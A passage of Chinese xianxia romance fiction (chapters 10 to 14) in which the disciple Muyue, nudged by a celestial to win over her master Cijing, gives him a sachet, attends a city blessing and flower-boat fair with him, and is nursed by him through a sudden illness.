她看了一遍目录,既没有找到碧水珠的记载,也没有找到别的珠子。
从头到尾翻了一遍这本大约有两掌摊开宽的书,沐月找得眼睛都痛了,才在介绍灵鲛的那页中找到了关于碧水珠的记载。
但只是顺带一提,更多的是传说色彩,此珠被东海内的灵鲛守护,但从未有人见过灵鲛,究竟是否存在都无法证实,碧水珠就更不知是否为前人杜撰了。
至于她梦见的那颗珠子,便是连只言片语的记载也没有,沐月此时有点怀疑是否是她从玲珑木心得了好处,做梦都想要更好的宝贝了。
但她相信自己的直觉,不甘心地又从头到尾翻了一遍异珍录,还是没有找到丝毫相关记录。
她又去其他书架找,但时间有限,她没有什么收获,眼看已经傍晚,才察觉自己没吃午饭有些饿
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了,从芥子囊中拿了几块糕点稍微垫垫,沐月才恋恋不舍地离开此地。
回戚雪峰路上,她发现之前师尊给她发了传讯,问她晌午时是否回去吃饭,可能是在万藏楼看书看得太投入没有发现。
匆匆回复师尊,沐月走到戚雪峰山脚后直接御剑飞往山巅,在无妄楼前缓缓落地。
天边残留大片余晖,沐月一眼便看见湖边梧桐树下的师尊,她缓缓靠近,发现师尊似乎在练字。
沐月在他身边停下,师尊笔下所写字句笔走龙蛇苍劲有力,她看得目不转睛。
“要写写吗?”辞镜侧头看向沐月,将笔递给她。
沐月深受师尊熏陶,在练字上还是有模有样的,只是下山那一月都在寻找玲珑木心,回来后又加紧修炼,确实没怎么再碰,她不确定自己会写成什么样。
接过他手里的狼毫,瞅了眼师尊所写的诗句,便也跟着在他底下写了一遍。
若说师尊的字是龙,那她的就是小泥鳅,她左右看左右觉得不顺眼,索性直接放下,“还是您写吧。”
反正对于练字她也没什么兴趣。
辞镜看着她写下的字,认真点评了一句,“虽比之前退步了些,但也算得上娟秀可爱。”
师尊睁眼说瞎话的本领越来越高了。
不过沐月非常受用,她听了嘴角都翘了起来。
“那师尊您再教教我吧。”果真夸奖才是学习的最佳动力,沐月现在又干劲十足了,侧头双眼亮晶晶地看着身旁的师尊。
“好。”
他接过沐月手中的笔,重新写下她写过的字。
男人高大清瘦的身躯微俯,雪色袍角温柔地拂过她粉色的裙摆,两人相隔不过一指的距离。
沐月侧头就能看见师尊清雅的侧脸,纤长的睫毛,握笔骨节分明的大手,还有轻轻开合的薄唇,甚至能闻到他身上清冽的霜雪气息。
写完后,师尊搁下笔,说给她听练字时该注意的事项,偶尔停顿,温柔又专注地看向她。
那双向来如水般的眼眸里,出现了她的倒影。
辞镜将笔递给沐月,“再试试看。”
可女孩没有动,只是看着他。
“阿月。”
在辞镜根本没有来得及反应之时,沐月轻轻移动,靠近了他的脸。
辞镜感受到脸颊传来微微的凉意。
他的眼眸轻轻眨了眨。
两人四目相对,沐月顿了一下,在意识到自己做了什么后,连忙退开。
不知为何,她耳根顿时被火烧了一般烫。
她呐呐地伸出指尖,粉白指腹上有点点黑色的痕迹,“师尊,你脸上有墨渍。”
“原来如此。”
“是我不小心。”辞镜睫毛微动,弯唇笑了。
11. 第 11 章
沐月回屋后捂住自己的脸,她刚才在干什么,虽然也并没有太过亲密的举动,但……
不过更让她挫败的是,师尊居然什么反应也没有。
她好歹也是个如花似玉的大姑娘吧,和他凑这么近,居然毫无反应。
不过,那可是亲手将她带大的师尊,又如何指望师尊对她生出其他的感情。
沐月正烦着,谁料司命的声音再次出现。
【找我干嘛?】沐月没好气地问。
【你可发现了神尊的异常之处?】
沐月摇头,【他和之前没什么分别,而且我还特意问他了,修炼上似乎没遇到什么问题。】
除非师尊修炼时她在一旁看着,或许才能知晓到底有没有别的情况。
【这就怪了,总之你要多加留心,天河石还是频频发出异动,或许你得尽快完成任务。】
沐月头都大了,任务完成都够呛,又怎么尽快。
【司命,我觉得不太行,师尊对我根本没有那方面的意思。】
【为何如此认为?】
【我做一些比较亲密的举动,他也没有其他反应,肯定是把我当小孩子看。】
【不如你试探试探?】司命给她出主意。
方才的事情其实也算是试探吧,但是师尊心如止水,波澜不惊,沐月没有信心。
【怎么试探?】
写过各种命格簿的司命对此很有一套。
【这样,你送他香囊,人界定情不是就会用香囊吗,你借此试探试探他,看他是什么反应。】
【那要是师尊拒绝了呢?】
【那就没办法了,不过一切皆有可能,若他拒绝了,在半月后的宗门宴会上你还是得主动撩拨他才行。】
【半月!】沐月震惊。
【应当没有太大出入,你也可以问问宗门宴会在何时举办,你得早早做好准备了。】
司命所写的簿子中,师尊酒后意乱情迷,与她一夜情缘,这简直!
这简直丧心病狂!
谁都可能意乱情迷,但绝不包括师尊。
【神尊历劫成功才能彻底成就无上大道,你也能拿到仙丹早日修出人身。现在你已经习惯了这样的生活,还能忍受回到天界后日日困在莲池内,一步也无法离开的生活吗?】
【……】沐月无法反驳。
两人正聊着,房门突然被敲响,沐月被吓了一跳。
【司命师尊来找我了,你赶紧走。】
虽然司命是传音,只有她能听见并与司命交流,但她还是心虚。
【好,你有任何问题随时找本君。】
房中恢复安静,师尊的敲门声也停下了。
沐月快步走向门口,打开房门,“师尊您找我?”
“没有什么大事,只是忘了为你诊脉。”
好像是的,她吃完饭匆匆回房了,也没来得及。
“师尊我应该没什么大碍了。”沐月除了比之前困一些,睡得早些,也没什么不好的影响。
“我再为你看看。”
沐月便走到软塌边坐着,伸出手腕让师尊为她诊脉。
没过多久,辞镜便将手收回,“暂时没有太大问题。”
“那师尊我就先回房了。”
沐月在这里坐着也不知道干什么,尤其是刚才她才做过如此尴尬的事情,现在看着师尊她有些不自在。
反观师尊,他看样子压根没把刚才的小插曲当回事。
沐月在心里叹了口气,看来这个任务任重而道远。
“阿月。”
沐月停下脚步,“师尊怎么了?”
“罢了,你回房吧。”
沐月不明所以,“师尊您是有什么想要问我吗?”
“没有,回去吧。”
“那我回房啦。”虽然不知道师尊欲言又止是何意,但她也不纠结,师尊不想说肯定有他的考量。
*
沐月很快将送香囊一事提上日程,亲手做太慢了,而且她只是试探试探师尊的意思,还是直接买比较妥当。
到时要是师尊明白香囊的含义不接受,她还能糊弄过去,说是看着好看顺便买了,要是自己一针一线用心做的,那可就说不过去了。
打定了主意,她在第二天放学后就立即前往山下。
灵犀和储殷听她要下山,便也打算和她一起去,顺便也能逛逛买些吃的。
“你特意下山干嘛去?”灵犀好奇地问。
“买点东西。”沐月含糊其辞。
她可不敢说买香囊,师尊不知道,灵犀还能不知道香囊的含义,她一旦说了,灵犀还不得打破砂锅问到底。
来到酒楼前,沐月对两人说:“你们先去点菜,我买了就回。”
“买什么啊,还搞得神神秘秘的。”灵犀嘀嘀咕咕,但她也没硬要跟去,叫上储殷直接去了酒楼。
沐月来到一个卖香囊的铺子,她看花了眼,各种颜色都有,一时不知该选什么。
绣娘热情地问:“姑娘你可是要送给心上人的?”
这香囊嘛,几乎都是送心上人的。
沐月没回,她瞅见绣娘揶揄的眼神,更是不好意思,要是她说送给师尊,怕是得让人惊掉下巴,大骂世风日下。
在人界,师徒恋算得上是禁忌,她也不会傻了吧唧地说出来。
“还不好意思了,你的心上人是喜欢什么颜色什么样式的?或者平常喜欢戴什么饰品,穿什么颜色的衣裳?”
“白的吧,尽量素净一些。”
她也没怎么见师尊穿过其他颜色的衣裳,这香囊还是得和衣裳搭比较好。
“白的……”绣娘有些为难,这香囊送白的可不常见。
她想了想,随即高兴地拍了下手,“巧了不是,这儿正好有个月白的,就是绣了些浅金色的鸳鸯,应该是不碍事的。”
“我看看。”
沐月接过绣娘递来的香囊,很素雅,和师尊很是相配,有淡淡的香气萦绕,沐月发现很是熟悉。
她惊喜地问:“是别枝草的香气?”
“姑娘你真是见多识广,确为别枝草,有凝神静气的功效呢,送心上人肯定最合适不过了。”
“就是要贵一些,但不管是绣工还是这别枝草,都是值这个价的,姑娘你尽可放心。”
绣娘还打算多废些口舌,毕竟这个香囊确实要比其他的贵上不少,谁知沐月直接问了价后,眼睛都不眨一下就将灵石付了。
沐月开开心心揣着香囊走出了铺子。
左看右看越是觉得喜欢,但是很快她就高兴不起来了,她喜欢有什么用,也不知道师尊看见后是个什么反应。
沐月
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心里装了事,回去酒楼后心不在焉的,她总觉得自己送了也没用,说不定还会让师尊误会,但心里又怀着一丝希望,万一呢。
“你怎么闷闷不乐的?”灵犀瞅了她好几眼,“连菜都不怎么吃了,稀奇。”
沐月摇摇头,往嘴里塞了几口菜,只觉索然无味。
吃完饭,她也没什么兴致,但在看见街上新出的那些新奇玩意儿后,很快就将那些烦恼抛之脑后。
“这是什么酒?”灵犀看向一个酒铺门口小二托盘上的酒杯。
“这是荔灵果制成的,很香呢,姑娘公子们可要试试?”
“不醉人吧?”沐月也被这晶莹剔透的红色酒液吸引,轻晃时香气四溢。
“不醉人的,姑娘放心。”
“要不要尝尝?”灵犀蠢蠢欲动。
两人对视一眼,端起一杯喝了,喝完眼睛都亮了。
“这么好喝!”
“是吧,咱们店的新品呢,铺子里还有其他口味的,不仅味道好,日日小酌一杯还能美容养颜呢。”
美容养颜!这可戳中两个小姑娘的心了。
两人大手一挥,各种口味都来了一瓶,小二笑得合不拢嘴。
酒果真是个好东西,喝了一小杯,沐月心里烦闷散了不少。
几人没有在城中久待,各自回去修炼,沐月倒是没有其他课业,但像灵犀储殷,他们的师尊为单独布置一些任务,能自由消遣的时间并不多。
沐月回到戚雪峰时天色还早,几乎每次回无妄楼,她都能看见师尊那抹令她安心的身影。
今日他在树下石桌旁泡茶饮茶,颇具闲情逸致。
她放轻脚步走上前,在师尊对面坐下。
“回来了。”辞镜抬头看她,笑容温和。
“嗯。”
辞镜放下茶杯,他的眉头轻轻动了一下,沐月身上传来丝丝香甜的气息,似乎夹杂着酒气。
“喝酒了吗?”
沐月微愣,她有些心虚,还以为只是一小杯师尊不会知道呢。
“喝了一点点,并不醉人。”沐月之前不知节制,喝过发酒疯,之后师尊就不让她喝了。
如此辞镜便也没有再说什么。
“师尊,有人送过香囊给你吗?”沐月问。
辞镜摇头,他不知沐月为何问起这个。
“今日我在街上看到一个香囊,感觉很适合您,就买了。”
沐月拿出一个月白色绣着鸳鸯的香囊,小心翼翼地递给师尊。
她一边说话一边紧张地观察着师尊的反应。
辞镜似乎愣了愣,他垂眸看着沐月手里做工精致的香囊,没有立即接过。
沐月越发忐忑,她不自觉捏了捏香囊,师尊也不说话,但光从他的表情也看不出什么,似乎和平日里的他没有什么分别。
“师尊……您不喜欢吗?”沐月抿了抿唇,不安地问。
就在沐月紧张不已时,她看见师尊伸出修长如玉的手,接过了她手里的香囊。
这一刻,沐月心跳如擂鼓。
可下一秒,就彻底冷静了。
她看着师尊伸手揉了揉她的头,温柔笑着道:“师尊很喜欢。”
一副慈爱欣慰的模样。
师尊这反应,好像并不知道这香囊的含义。
沐月欲哭无泪。
12. 第 12 章
此前沐月担心师尊不收香囊,却没想过会是这样的结果。
他的反应和她想的压根完全不一样。
一把拉起被子蒙住脸,现在进度止步不前,照目前的状态,她半月后直接生扑师尊那场面她简直不敢想。
不知在何时,沐月的意识渐渐离她远去,陷入沉睡。
在她沉睡期间,身体经脉以极快的速度扩展,丹田内的莲花金色光芒越盛,光芒甚至延伸到四肢百骸。
沐月一觉睡到日上三竿,她睁眼时浑身轻松,不知是否是她的错觉,眼前的世界似乎要比之前的清晰,她的五感也更加敏锐。
她才下床,就听见门外传来的翻书声,还有茶杯轻微的磕碰声。
这也是她能力觉醒后带来的好处么?但也不排除是玲珑木心的功效。
或许可以问问师尊。
沐月坐到梳妆台前梳头,镜子里映入一张熟悉又有点陌生的脸,沐月立马凑近了些,这么感觉皮肤比之前好了呢?长得好像也比之前好看。
沐月扒拉自己的脸看了好一会儿,越看越觉得奇怪,自己看自己不直观,她想应该是她的错觉。
她思索着走出房门。
辞镜抬头看向沐月,“醒了,要吃饭了么?”
话落,他的视线稍定。
少女站在门口,曾经及腰的长发此刻垂落至臀部,绿裙之上,少女稚气褪去,黛眉琼鼻,唇如点漆,灼灼其华。
……
沐月确实饿了埋头吃饭,随便思考怎么问师尊她身体变化一事。
辞镜认真看着眼前低头吃得很香的女孩,半晌后温柔开口,“阿月,你似乎长高了。”
“头发也长了一些。”
沐月抬头,眼睛发亮,“真的?”
起初以为是她的错觉,可师尊也如此说,莫非真的变了?
可长高也不是一夜之间就能做到的吧。
头发她倒是没怎么注意,今日休沐,她随意梳了两下就出门了,也没有挽发。
她还挺想再长高一些的,和师尊站在一起,身量差得太多了,她就好像一根矮萝卜。
沐月立即站起身,在师尊面前转了一圈,“师尊你再看看,我真的长高了吗?”
“我今早起床后感觉我皮肤都好了不少,昨日都还在的疹子也不见了,您看看!”
沐月凑近师尊,她突然靠近,一时间没有注意好距离,两人离得极近。
空气里夹杂着她独有的清甜的气味。
辞镜偏头轻轻避开了一些。
沐月也察觉她和师尊离得过于近了,连忙往后撤了一步,刚才的兴奋劲儿也散了个七七八八。
“确实长高了,或许与你灵台的变化有关。”
沐月若有所思地点头。
看来果真是因为她觉醒了能力。
要是某个部分再长长就更好了,她低头瞥了自己一眼,毫无存在感,她看见那些身材火辣的师姐们,还是非常羡慕的。
“明日我要前去柳城为百姓祈福,结束后会有其他活动,阿月你可要一同前去?”
柳城受万剑宗庇护,此次祈福活动是由宗门商议后打算让辞镜前往。
祈求百姓安居乐业,修士仙途坦荡,如此神圣之事,由辞镜主持也算是众望所归。
“若你有别的安排也无妨,有想吃的想带的,师尊买回来。”辞镜见沐月没有回答补充道。
沐月想了想,她除了修炼并没有其他事情,她本就是爱凑热闹的性子,全城的祈福活动应当非常壮观,她也能去沾沾福气,没有不去的道理。
“那师尊您明日叫我,我和您一起去!”
*
第二日,沐月是被师尊叫醒的,她没有赖床,用最快的速度穿戴整齐。
“走吧师尊!”
两人吃过饭直接下山,辞镜手中出现一柄长剑,剑身顷刻间变成三尺宽,冰魄在阳光下光华流转,耀眼夺目。
沐月熟门熟路走到冰魄靠前的位置,师尊紧随其后。
此种方式沐月无需御剑,沐月还能看看沿路的风景,对此乐见其成。
师尊御剑没有丝毫颠簸,无需提心吊胆时时保持警惕,沐月非常放松。
但很快她就不那么觉得了。
师尊宽阔的身体存在感极强,两人并未站得过近,但她还是能感觉到身后师尊的呼吸,沐月缩了缩脖子,悄悄往前移了一小步。
微小的动作却清晰地落入辞镜眼中,他垂眸,却不经意瞥见女孩那一截细白的脖颈。
偶遇气流,冰魄突然颠簸,虽很快便恢复平稳,但没有丝毫准备的沐月还是踉跄了一下。
“小心。”辞镜伸手揽住沐月的腰。
分明隔了一层衣料,但沐月仍觉腰间手掌滚烫,她身形微僵,艰难出声:“谢谢师尊。”
辞镜松开了手,两人穿过云层,一路飞往柳城。
两人在城门前落地,此时距离开始祈福的时间大约还有两刻钟,两人并肩走向城中心天坛。
“阿月,祈福大概一个时辰就能结束,到时可以去湖边看花船。”辞镜轻声告知沐月。
“花船?”
“嗯,听说会持续到夜里。”
“那我等师尊你结束。”沐月满脸期待。
辞镜莞尔,“好。”
两人走向天坛,城主早早前来迎接,但他没想到辞镜会以如此低调的方式过来。
他满脸激动,立即迎向辞镜。
“仙尊大驾光临,路某有失远迎!”
“城主客气了,本尊在此等候祈福开始便好。”
“好好好,祈福所需已经备好,仙尊看看是否还有缺的?”
辞镜扫了眼天坛,香烛、糕点、丝娟、花果等已经备齐,“暂无其他。”
“如此就好。”
城主知晓辞镜喜静,平日鲜少露面,此次他能前来城主非常感激,自然不敢再与其攀谈叨扰。
辞镜宽袍大袖立于十米高的白玉所砌的天坛处,眉眼宁静淡泊,宛如沐浴在圣光之下玉雕而成的神像。
在漫长的求仙问道一途中,他曾在寺中修行过十载,吃斋念佛,此事与他而言并不难。
四下激动讨论的修士百姓自觉安静,不敢惊扰台上之人。
时间一到,辞镜神色微凝,启唇诵念经文,以此净化城中邪祟,福泽城中子民百姓。
无形的金色梵文从他口中汇作舞动的经幡,风动时,他垂落在地的衣摆微扬,像是被无形的力量托举。
四周越发安静,听不见鸟鸣,风吹树叶之声,没有丝毫杂音,只有辞镜宁静平和的低吟。
整座城池都随辞镜的诵念安静下来,台下沐月和众人心里的烦闷、低郁、杂念,以及所有的浮躁好像都随着经文被净化。
辞镜声止,淅淅沥沥的细雨自天坛中心洒落,这一刹那,枯败的草木复苏,逗留的亡魂安息,作恶的邪祟就此消散。
台上男子起身,雨便停了,点燃香烛,将其奉入天坛。
台下百姓也跟随他的动作,齐齐行礼。
辞镜面前出现一纸碎金丝娟,指尖作笔,印出一串串梵文。
丝娟被指引至天坛,一粒火星投入,瞬间化作青烟消散。
此次历时一个时辰的祈福到此结束。
辞镜安静离场,在许多人
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都没有发现时,他便与沐月一起瞬移至湖边。
沐月闻到师尊身上淡淡的香火气。
“师尊,你就这么悄悄走了?”她都没反应过来时,就和师尊出现在了湖边。
“没关系,走吧,我们去看花船。”
沐月看了看师尊,弯起了唇,“好!”
辞镜或许是用了什么法术,周围的人看见他没有投来目光,反而频频看向他身边的沐月。
沐月显然意识到了,但她以为他们看的是师尊。
直到一个风流公子拦住了她的去路,她才察觉不对。
摇着扇子的公子看了眼沐月身旁之人,“这位姑娘,冒昧问一句,你是否有心上人?”
沐月察觉了此人的想法,他或许是误会了她与师尊的关系,有意试探。
如此一想她赶紧摇头,“请问公子你有什么事吗?”
“没有甚好,不知能否邀请姑娘同游花船?”
沐月愣住了,这未免太过热情。
“姑娘可否愿意?”公子又问了一遍。
沐月身边有佳人作陪,他原本有些犹豫,但他观察了片刻,两人举止不见亲密,似乎不像是有情人,便主动试探。
沐月对上了师尊的视线,她竟开始紧张了。
“不好意思。”她委婉拒绝。
公子又看了眼她身旁男子,瞧着普通,还真令人惋惜。
“今日遇见姑娘甚是有缘,小小心意还请收下。”他不知从何掏出一朵花,娇艳欲滴,送到沐月手中。
沐月左右挣扎,还是接了,花啊,还是变戏法似的变出来的,谁能拒绝呢?
而且此人虽然大胆,言行举止却不让人讨厌,沐月反而很开心。
“多谢你。”沐月惊喜地接过。
“能让美人展颜一笑,是我的荣幸。”
公子潇洒离去,沐月笑容压都压不住,他说自己是美人诶。
还没人这么直白地夸过她。
辞镜垂眸看向盯着花看,满脸笑容的沐月,不禁问:“很喜欢吗?”
沐月点头,点完后知后觉意识到,在师尊面前她刚才的行为好像有点不妥。
她将花收了起来,开始转移话题,“师尊我们去看花船吧。”
白天与夜里观赏花船感觉完全不同。
此时花船上载满各色鲜花,船上美人载歌载舞,花瓣迎风飘落,空中蝴蝶翩飞,水下锦鲤争相跃起抢夺花瓣,颇具意趣,热闹非凡。
花船渐渐看尽兴了,沐月将目光投注到湖边的一对男女的背影上。
仅从背影瞧着就颇为登对,沐月蠢蠢欲动,很想跑到两人面前看看她们长什么模样。
正打算不动声色过去满足好奇心的沐月,听见周围的低语声。
似乎说的正是前面那对有情人。
“世风日下!”
人家也没干什么吧,怎么就世风日下了,沐月撇嘴。
“何出此言?”男子身旁的同伴不解。
“那两人是我宗子弟,此前两人是师徒,被发现后逐出宗门,现在居然敢堂而皇之出现,当真是不知羞耻。”
师徒……
沐月心中一咯噔,心虚地瞥了一眼身旁的师尊,差点她以为这两人说的是她们了。
“有意思,两人竟是师徒不伦之恋?”
“瞧着倒是恩爱。”男修同伴感慨。
“不提也罢,看着着实碍眼。”
沐月紧张得要死,虽说知晓说的不是她和师尊,但她还是忍不住想要得知师尊的反应。
她悄悄抬头看了眼身边之人。
谁知,却正好撞上他的视线。
13. 第 13 章
湖面漾出的圈圈波纹被跃出水面的锦鲤打散,就如沐月此时的脑子,乱糟糟根本没有清晰的思路。
她对上师尊的视线后立即看向河中的花船,两人谁也没有提起刚才之事。
对师尊而言,好像只是一件平平无奇的小事。
“师尊。”
“嗯?”
鼓起勇气的沐月再次抬头看向身旁的男人,“你对此怎么看?”
“什么?”他一时不知沐月是指什么。
但仔细想来,似乎只有刚才的那件事了。
“就是刚才那两个人说的……”沐月低声道。
辞镜斟酌后回答:“我对此没有什么看法。”
这是别人的事情,与他无关,方才也只是随意一听罢了。
沐月既松了口气,又有种说不出的挫败感,果然只有心中有鬼的人听了才会心虚,就比如她。
“那里在卖花环,要去看看吗?”辞镜看向柳树下挂在木架上的花环,刚才沐月似乎很喜欢那朵花。
“走吧师尊。”
两人走到一个小男孩的小摊前,他看见走来的沐月和辞镜,知晓来了生意,小嘴抹了蜜似的,“姐姐长得真好看,戴上花环后想必会更加光彩照人!”
沐月听得满脸笑意,“谢谢你。”
“不客气哦姐姐,身边的哥哥也很好看,是姐姐你的心上人吗?”
“果真郎才女貌,非常般配!”
小男孩是个人精,他多少看出了沐月的心思。
沐月在他说完这句话后连想死的心都有了,恨不得立即上前捂住他的嘴。
“净瞎说,我们不是那种关系。”沐月手忙脚乱,花环都不知道往哪儿放,赶紧解释。
小男孩又看了眼两人,“可是真的很般配啊,姐姐你是不是不好意思,而且……”
“真的不是!”沐月高声道。
小男孩便不再说话了,但他还是盯着辞镜,“哥哥要买一个送给姐姐吗?”
“我自己买!”沐月赶紧掏钱递给小男孩,恨不得拉着师尊赶紧走,但手伸到一半恍然察觉什么,连忙将手收回,“师尊我们走吧。”
辞镜看了眼那个小男孩,跟着沐月走了,路上他见沐月一直拿着花环没戴,轻声开口,“不试试吗?”
“没什么好试的。”
她是想戴的,多好看啊,但是经那小男孩一说,她实在不好意思。
辞镜认真注视着沐月,语气格外温柔,“师尊想看看。”
突然的一句,沐月心跳瞬间漏了半拍。
她看向师尊,面前男子微微垂眸,树梢灯笼散发的朦胧光亮映在他的侧脸,面庞轮廓镀上了一层浅浅的柔光。
沐月低头,她捏着手里的花环,慢慢戴到头上。
“好看吗?”她大眼睛闪了闪,紧张地问。
在辞镜眼中,面前少女带着花环,微垂着头,抬眸时,黑白分明的眼睛轻轻眨动,卷翘的睫毛在光芒下映出小扇子般长长的剪影。
“好看。”
……
回到无妄楼,泡在小温泉里的沐月整个人红扑扑的,她想起在湖边的画面,被水汽蒸得微微发红的脸更是红成了彩霞。
看样子她得转移转移自己的注意力,避免自己继续这么深陷下去。
那可是师尊!还是对她没有男女之情的师尊,自己一头栽进去实在不是个好兆头。
或许得减少和师尊的接触,正好要去万藏楼查资料,她尽量多待在那里好了,也能让她这颗蠢蠢欲动的少女心冷静冷静。
脸上笑意没有持续太久,沐月突然耳朵一阵嗡鸣,她皱着眉用手掌紧贴着耳朵重新拿开,但是这股耳鸣的症状没有缓解。
随即她脑中一阵抽疼,很快蔓延到丹田的位置,尖锐的疼痛让她差点直不起腰。
她撑着温泉石壁艰难起身,快速将睡裙裹到自己身上,就在倒下的前一刻,她立即掏出师尊的令牌。
辞镜听见沐月的恐慌的呼救,根本来不及反应,身形隐没在空气里,转瞬出现在沐月的卧房,但是房中并无她的身影。
辞镜抬脚便走向沐月沐浴的温泉,缭绕的雾气中,他一眼就看见紧闭双眼倒在地上的女孩。
弯腰抱起衣裙浸湿的沐月,快步将她放到床上。
他抱起她时,只觉沐月身体滚烫,满脸的潮红,这已经不是泡久了温泉的正常反应。
将她身上烘干,辞镜没敢给她盖上被子立即为她诊脉。
半晌,发现她身体的一切异常都是由于丹田内的那朵莲花引起,它在以沐月根本无法承受的速度在扩展她的身体经脉,洗练她的资质,此种疼痛远超沐月的承受范围强行让她陷入昏迷。
此时她紧紧咬着下唇,尖利的虎牙刺破娇嫩的唇瓣,殷红的血染红了她白生生的牙齿。
辞镜伸手掐住女孩双颊,指骨用力,强行打开她的齿关,让她无法再啃咬自己。
女孩口中发出呜呜的声音,眼角泪水打湿了她的睫毛,辞镜不敢松手,单手取出装有还脉玉液的玉瓶,指节抵开沐月齿关,将药液倒入她的口中。
但她排斥发苦的药,抵着柔软的舌尖将药液往外挤,辞镜喂进去的药都顺着嘴角流出到她的细白的脖颈,也打湿了他的指缝。
辞镜皱了皱眉,目前情形由不得他犹豫,将手指探入沐月口中,压下她想要往外推挤药液的舌头,女孩憋红了脸,却别无他法,如此一点点一点强行吞入。
抽出垫高沐月头的方枕,将她放平,渡入灵气将沐月喝下的药液引导至全身,以最快的速度挥发药性。
如此折腾下来已是深夜,沐月终于睡得平稳了些,也是现在辞镜才注意到木窗开着,冷风吹入,床上高热减退的女孩有些冷了,轻轻缩了一下身体。
辞镜倾身拉过被子为沐月盖上,掖了掖被角。
正要转身将将木窗合上,他的手上传来一阵柔软温热的触感,他垂眸,沐月不知何时将手从被子底下探出抓住了他的手。
“师尊……”
睡着的女孩轻轻张唇,呼唤着他。
辞镜身体微僵,轻声安抚不安的女孩,“师尊不走。”
但握着他的小手依旧没有放开,他无奈看向沐月,施法隔空将木窗合上后在床边坐下,由着她紧紧攥住自己的手。
……
沐月醒来时下意识想要抬手,但是抬不动……
嗯?
她侧头。
!
师尊微垂的睡颜撞入她的眼帘,
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根本没给她任何准备的时间,沐月一时间都以为自己在做梦。
她下意识捏了捏手,却发现,什么动了动,在她看过去的同时,师尊略微沙哑的声音一并在耳边响起:“醒了么?”
沐月身体不受控制地抖了一下。
她从没有见过这样的师尊。
辞镜神色有些疲惫,面上一闪而逝的慵懒,和平日她面对的仿佛不知疲惫满脸温柔的师尊很不一样。
她在意识到自己紧紧握着的是师尊的手后,宛如被雷劈了,迅速将自己的手从他手中抽出。
或许是辞镜才醒来意识还有些不清醒,下意识将要从手中离开的东西留住,如此便扣住了沐月的手腕。
“师……师尊?”沐月像是只缩起来的鹌鹑,不敢再动,但手上的脉搏却跳得极快,她严重怀疑师尊指下能够感清晰感知到她脉搏跳动的速度。
辞镜眼神终于清明了些,缓缓松开了沐月的手腕,面露歉意,“阿月抱歉,师尊有些不清醒。”
沐月摇头,“没事的,师尊,昨夜我怎么了?”
她记得昏倒之前的事,但是在取出令牌紧急呼叫师尊后,她就没了意识。
“你昨夜昏迷了。”
“是你丹田里的金莲所致,这对你而言本该有好处,但是你的身体暂时无承担过多的力量,才陷入了昏迷。”
“这段时日阿月你可能需要暂时禁用灵力,师尊已经封住你的灵脉,等你身体彻底好全后,再为你解开。”
要禁用灵力,沐月除了最开始没有来到戚雪峰的时候,她还没有感受过无法使用灵力的感觉。
“所以尽量不要离开万剑宗,若是想去其他地方,告知师尊,我与你一起去。”
辞镜拿出昨夜他在沐月身旁捡起的令牌,“这个你也拿着,若有事随时联系师尊。”
“师尊我知道了。”沐月握着令牌,握了一会儿连忙收进了芥子囊。
“今日就在房里休息吧,师尊帮你请假,不用担心。”
沐月想了想点头,她动一动身体酸疼得很,多休息休息也好。
“你好好休息,师尊去做饭。”
沐月乖乖躺下睡觉,不过她实在睡不着,又不能修炼,只能摸出枕头下藏着的话本来看。
摸了摸。
咦?
话本呢!
沐月将枕头扯出来,来来回回在床上找了个遍,还是没看到。
辞镜进门时正好看见她在床上翻来翻去。
“在找什么?”
沐月立即转身,惊恐地看着师尊。
辞镜见她如此神情,顿了一下,“可是重要之物?”
再三挣扎犹豫,沐月咽了口唾沫,“师尊……您可在我床上看见了一本书?”
书。
辞镜点头,“昨夜需要为你控制体内的灵力,将枕头拿开了,我见有本书便放在了一旁。”
“在哪里?”沐月连忙问。
“就在那里。”辞镜看向沐月床边的矮柜。
刚才慌了神,沐月竟然没有看见。
连忙看过去,书是合上的,她还没来得及松口气,就看到书封上赫然几个大字。
《师尊按着我狂亲怎么办?》
……
14. 第 14 章
场面一度陷入凝滞的状态。
当然这是沐月的想法,她僵硬地与师尊对视,发现他的脸平静如水,看不出丝毫情绪。
师尊不该神情严肃地斥责她,找她详谈,再或者一把火把这本子烧了才对吗。
越是这样她越是摸不准师尊的想法,更加忐忑紧张了。
“师尊,你别误会,我这是买其他东西的时候送的,其实我没看。”沐月磕磕巴巴地解释。
但是她的解释太过苍白无力,若是送的,她为何要放在枕头底下,又为何没有其他书,若她觉得不对,又为何不在发现的第一时间将其处理。
况且,这本书看着并不新,更像是翻了很多遍的。
沐月也觉得自己的解释太勉强,已经闭上双眼做好了师尊质问她的准备。
谁知他点了点头,“嗯。”
嗯?
沐月小心翼翼抬头看向师尊。
这么简单就过去了?
沐月难以置信,不过师尊没有计较让她大大松了口气。
连忙拿过书想要销毁,里面的文字之大胆,仅仅是书名就让她想一头撞死,她更是无法想象内容被师尊看到后他会是怎样的反应。
现在只看到一个封面还能糊弄过去,但一旦将书翻开就没有任何解释的余地了。
沐月立即将书收起来,“师尊,我会烧了的,这等污秽之物就不要污了您的眼睛了。”
“污秽?”辞镜轻声开口。
她既然没看,又怎知是污秽之物,这不是证实了她看过了吗。
沐月急得脑门儿都出了汗,苍白地解释:“看这书名就不是正经东西,您放心,我一定将它处理得干干净净。”
辞镜看了她半晌,还是开了口,“阿月,现在确实什么书都有,你……也要仔细甄别。”
“好的师尊,我记住了,都怪我没有看清楚,下次不会了。”
见她连三保证,辞镜犹豫片刻后又道:“不过,若你对此好奇确实想看也是人之常情,书是书,现实是现实,不要过于担心,师尊不会干涉你。”
沐月连忙摇头,一整个欲哭无泪,“师尊我一点也不好奇,真的是送的。”
师尊理解她,但是她现在一点也不想要这种理解。
“嗯好。”
辞镜对此没有纠结,“你身体未好得吃得清淡些,粥还在熬,很快就能好,师尊就先出去了。”
沐月看着辞镜离开,她恨不得用脑袋撞墙,师尊刚才说的那句,书是书,现实是现实,让她更加无地自容。
要知道,她是真的肖想过师尊,只是不敢想得太过放肆,也只敢想想师尊沐浴时是什么样子。
打住!沐月停止自己放飞的思绪,她不能再想了,她芥子袋里藏着的师徒文都要一并销毁才是,免得哪一天在师尊面前露出马脚。
思来想去,沐月脑子里冒出个馊主意。
为了让师尊知晓她并不是对他老人家产生了大逆不道的念头,她甚至在枕头底下放了一本,《我和掌门不得不说的二三事》。
她特意露出了一半,能够隐约看见书名,看着像是她看完后随意塞在枕头下的。
掌门师叔,是我对不起您了,沐月在心里默默向掌门磕头认罪。
辞镜端着粥进来,在将沐月枕头拿起来放到她背后垫着方面她喝粥时,便看见了那本书。
他的视线在书名上一扫而过,顿了顿,将粥递给沐月,“不烫了。”
